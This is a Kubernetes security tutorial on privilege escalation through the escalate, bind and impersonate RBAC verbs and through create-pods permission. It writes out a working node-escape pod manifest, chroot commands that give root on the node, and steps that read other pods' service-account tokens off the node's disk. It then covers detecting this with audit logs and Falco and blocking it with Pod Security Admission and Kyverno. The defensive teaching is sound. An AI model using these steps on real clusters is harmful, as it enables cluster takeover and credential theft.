Privilege escalation paths
escalate, bind, impersonate, and the pod path.
Nobody hands out cluster-admin. It gets taken, quietly, by an identity that was only ever trusted with a little. That's the whole game of privilege escalation: turning a narrow, reasonable-looking grant into total control of the cluster, one legal step at a time. No exploit, no CVE (a numbered software vulnerability). Just permissions doing exactly what someone configured them to do.
Think of the cluster as an office tower. Your keycard opens floor 3, the namespace your team works in. The executive floor, full control over every workload, secret, and worker machine, stays locked. Escalation is finding the service elevator: an unmarked door nobody watches that happens to reach the top. Kubernetes ships with a few of these elevators. Two matter most.
The first is a small set of RBAC verbs (RBAC = Role-Based Access Control, the system that decides which identity is allowed to do what). The second is plain permission to create pods, which on most clusters is a skeleton key to the physical machines underneath. We'll walk both, and close both.
The three verbs that are cluster-admin in disguise
Kubernetes normally refuses to let you grant a permission you don't already hold. It's a sensible guard: you can't give away what you were never given. Three verbs punch holes in it. escalate lets you write a Role more powerful than your own. bind lets you attach an existing role, cluster-admin included, to any identity, without ever holding escalate. impersonate lets you send a single request as somebody else and borrow their access for that call. Hold any one of the three and the executive floor is reachable, so the defender's job is simple to state: find who has them.
$ kubectl get clusterroles -o json | jq -r '.items[]| select(any(.rules[]?.verbs[]?;. == "escalate" or . == "bind" or . == "impersonate"))| .metadata.name'system:controller:clusterrole-aggregation-controllercustom:ci-deployer
The aggregation controller legitimately holds escalate. That custom ci-deployer has no honest reason to. Anything on that list that isn't a core controller deserves a second look, and a workload service account holding one is an incident. (Roles with a wildcard verb, verbs: ["*"], won't match this query but hold them too, so audit for * separately.) Those three verbs get the fear, but you rarely need them. On a default cluster, permission to create a single pod reaches further than all three.
create pods: the skeleton key to the nodes
Every pod runs on a node, a Linux machine the cluster manages for you. Three settings on a pod turn that machine from someone else's property into yours. privileged drops the container's safety rails and gives it near-root over the host. hostPID puts your process into the node's process list, right next to everything else running there. hostPath mounts a path from the node's real disk straight into your pod. Each is a button on the service elevator. Ask for all three and the API server, doing its job faithfully, says yes.
Here's a pod that asks for the whole node. It reads like an innocent debug container. It mounts the node's root filesystem at /host.
apiVersion: v1kind: Podmetadata:name: innocent-debugnamespace: devspec:hostPID: truecontainers:- name: shellimage: alpine:3.20command: ["sleep", "infinity"]securityContext:privileged: truevolumeMounts:- name: hostmountPath: /hostvolumes:- name: hosthostPath:path: /
Apply it, exec in, and chroot into the mounted disk. chroot swaps your view of the filesystem to the node's real one, so from that shell you're root on the machine itself, not inside a container.
$ kubectl apply -f node-escape.yamlpod/innocent-debug created$ kubectl exec -it innocent-debug -n dev -- chroot /host iduid=0(root) gid=0(root) groups=0(root)$ kubectl exec innocent-debug -n dev -- chroot /host cat /etc/hostnameip-10-0-3-14.ec2.internal# every co-located pod's service-account token sits on the node's disk$ kubectl exec innocent-debug -n dev -- \chroot /host sh -c 'ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/token'/var/lib/kubelet/pods/8f2c.../volumes/kubernetes.io~projected/kube-api-access-x9k2p/token/var/lib/kubelet/pods/a41d.../volumes/kubernetes.io~projected/kube-api-access-mn4rt/token$ T=$(kubectl exec innocent-debug -n dev -- \chroot /host cat /var/lib/kubelet/pods/a41d.../volumes/kubernetes.io~projected/kube-api-access-mn4rt/token)$ kubectl --token="$T" auth can-i create clusterrolebindingsyes
That last line is the whole point. The kubelet (the agent on every node that starts and stops pods) keeps each running pod's service-account token on local disk, under /var/lib/kubelet/pods. Your neighbors on this node might include a CI runner, an operator, an ingress controller, any of which may carry a token far stronger than yours. Read one off the disk and you stop escalating from floor 3. You're on the executive floor wearing a borrowed badge, and a single clusterrolebinding with that token makes it permanent.
Catch it: at the door and on the node
You get two clean chances to see this. The first is at the door: the API server's audit log records every create with the full object attached, so a pod asking for privileged, hostPID, or hostPath stands out in one query. The second is on the node: a runtime sensor like Falco (it watches Linux syscalls on each machine) fires the moment a shell chroots the host disk or reads the kubelet's token store.
$ jq -c 'select(.verb=="create" and .objectRef.resource=="pods")| select(.requestObject.spec.hostPID == trueor any(.requestObject.spec.containers[]?; .securityContext.privileged == true)or any(.requestObject.spec.volumes[]?; has("hostPath")))| {user:.user.username, ns:.objectRef.namespace, pod:.requestObject.metadata.name}' \/var/log/kubernetes/audit.log{"user":"system:serviceaccount:dev:frontend","ns":"dev","pod":"innocent-debug"}
$ kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=209:41:22.481: Warning Privileged container started (user=root command=sleep infinityk8s.pod=innocent-debug k8s.ns=dev image=alpine:3.20) rule=Launch Privileged Container09:41:39.002: Warning Sensitive file opened for reading by non-trusted program(user=root program=cat file=/host/var/lib/kubelet/pods/a41d.../tokenk8s.pod=innocent-debug) rule=Read sensitive file untrusted
Close it: restricted plus a policy
Detection tells you it happened. Admission control makes sure it can't. PSA (Pod Security Admission, a check built into the API server that grades every pod against a named profile) at the restricted level rejects the entire dangerous family with a single namespace label. Layer a policy engine like Kyverno (a controller driven by CRDs, where a CRD, Custom Resource Definition, is how you teach Kubernetes a new kind of object) on top for the rules PSA doesn't cover and for an auditable paper trail.
$ kubectl label ns dev \pod-security.kubernetes.io/enforce=restricted \pod-security.kubernetes.io/enforce-version=v1.32 --overwritenamespace/dev labeled$ kubectl apply -f node-escape.yamlError from server (Forbidden): error when creating "node-escape.yaml": pods "innocent-debug"is forbidden: violates PodSecurity "restricted:v1.32": host namespaces (hostPID=true),privileged (container "shell" must not set securityContext.privileged=true),allowPrivilegeEscalation != false (container "shell" must set securityContext.allowPrivilegeEscalation=false),unrestricted capabilities (container "shell" must set securityContext.capabilities.drop=["ALL"]),restricted volume types (volume "host" uses restricted volume type "hostPath"),runAsNonRoot != true (pod or container "shell" must set securityContext.runAsNonRoot=true),seccompProfile (pod or container "shell" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
apiVersion: kyverno.io/v1kind: ClusterPolicymetadata:name: disallow-host-pathspec:rules:- name: no-host-pathmatch:any:- resources:kinds: [Pod]validate:failureAction: Enforcemessage: "hostPath volumes are not allowed."pattern:spec:=(volumes):- X(hostPath): "null"---# applying the escape pod now fails at Kyverno even before PSA:# $ kubectl apply -f node-escape.yaml# Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:# resource Pod/dev/innocent-debug was blocked due to the following policies# disallow-host-path:# no-host-path: 'validation error: hostPath volumes are not allowed.# rule no-host-path failed at path /spec/volumes/0/hostPath/'
kubectl get pods is empty and kubectl describe rs shows FailedCreate with the restricted violation.PSA and Kyverno both do their work inside the admission chain, the gauntlet every object runs before Kubernetes agrees to store it. The order those checks fire in, and the ways a badly built webhook can be skipped, timed out, or talked into waving your pod through, is where we go next.
Try this
Work through “Close it: restricted plus a policy” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.
Takeaway
The trap worth remembering here: blocking privileged: true is not enough. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.